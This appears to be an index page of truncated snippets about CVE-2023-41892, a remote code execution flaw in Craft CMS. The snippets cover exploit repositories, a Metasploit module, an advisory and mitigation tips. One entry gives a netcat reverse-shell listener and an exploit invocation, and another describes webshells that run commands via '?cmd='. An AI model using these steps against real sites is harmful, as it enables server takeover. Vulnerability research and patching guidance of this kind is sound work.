Craft-CMS-Exploit

このPythonスクリプトは、人気のあるコンテンツ管理システムであるCraft CMSのリモートコード実行脆弱性（CVE-2023-41892）を悪用します。この脆弱性はバージョン4.0.0-RC1から4.4.14に影響し、攻撃者がPHPリバースシェルのように任意のコードをリモートで実行することを可能にします。 使用方法 まず、別のシェルでnetcatリスナーを起動します： nc -nlvp 1234 次に、自分のIPアドレスを確認し、エクスプロイトを実行します： python3 exploit.py -r 10.10.16.47 -p 1234...

CVE-2023-41892_poc

CVE-2023-41892poc 为个人使用定制此工具 pocnoauth.py 基础 PHP 一句话 webshell 通过 ?cmd= 执行 OS 命令 pocauth.py 添加了简单密钥认证的 webshell（SHA-256 哈希比对方式） 只有输入正确的密钥才能执行命令 需要修改代码： 将 droppayload 函数内部的 webshell 变量中的 YOURSECRETKEY 部分替换为所需密钥的 SHA-256 哈希值 使用方法： 1. 将 webshell 中的 YOURSECRETKEY 替换为明文密钥的 SHA-256 哈希值 2. 请求时传递明文密钥...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

このタイプの攻撃は、PHPアプリケーションのデシリアライズ処理を悪用して、任意のコードを実行したり、サーバー上で意図しないアクションを実行しようとします。 緩和戦略 PHPオブジェクトインジェクションおよび同様の攻撃から防御するには、以下の戦略を検討してください。 PHPオブジェクトのデシリアライズを無効にする : ユーザー制御の入力に対してunserializeを使用しないでください。本質的に安全ではありません。 JSONシリアライズを使用する :...

CVE-2023-41892

Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15...

Craft CMS 4.4.14 Remote Code Execution

!/usr/bin/env python3 coding: utf-8 Exploit Title: Craft CMS unauthenticated Remote Code Execution RCE Date: 2023-12-26 Version: 4.0.0-RC1 - 4.4.14 Vendor Homepage: https://craftcms.com/ Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14 Tested on: Ubuntu 22.04.3 LTS Tested on:...

Craft CMS 4.4.14 - Unauthenticated Remote Code Execution

!/usr/bin/env python3 coding: utf-8 Exploit Title: Craft CMS unauthenticated Remote Code Execution RCE Date: 2023-12-26 Version: 4.0.0-RC1 - 4.4.14 Vendor Homepage: https://craftcms.com/ Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14 Tested on: Ubuntu 22.04.3 LTS Tested on:...

Exploit for Code Injection in Craftcms Craft_Cms

This python script exploits the Remote Code Execution vulnerabil...

Craft CMS 4.4.14 Remote Code Execution Exploit

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Craft CMS versions 4.0.0-RC1 through 4.4.14. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Craft CMS...

CVE-2023-41892

creationtimestamp| type| source ---|---|--- 2023-09-14 00:23:55+00:00| seen| https://t.me/cibsecurity/70423 2023-09-18 18:53:57+00:00| published-proof-of-concept| https://t.me/CyberSecurityTechnologies/9042 2023-10-06 01:23:11+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/5294...

CVE-2023-41892

CVE-2023-41892 affects Craft CMS Versions 4.0.0-RC1 through 4.4.14. The vulnerability is an unauthenticated remote code execution (RCE) caused by a PHP object creation in the craft\controllers\ConditionsController that can escalate to arbitrary PHP code execution (context involves GuzzleHttp\Psr7...

Craft CMS unauthenticated Remote Code Execution (RCE)

This module exploits Remote Code Execution vulnerability CVE-2023-41892 in Craft CMS which is a popular content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the...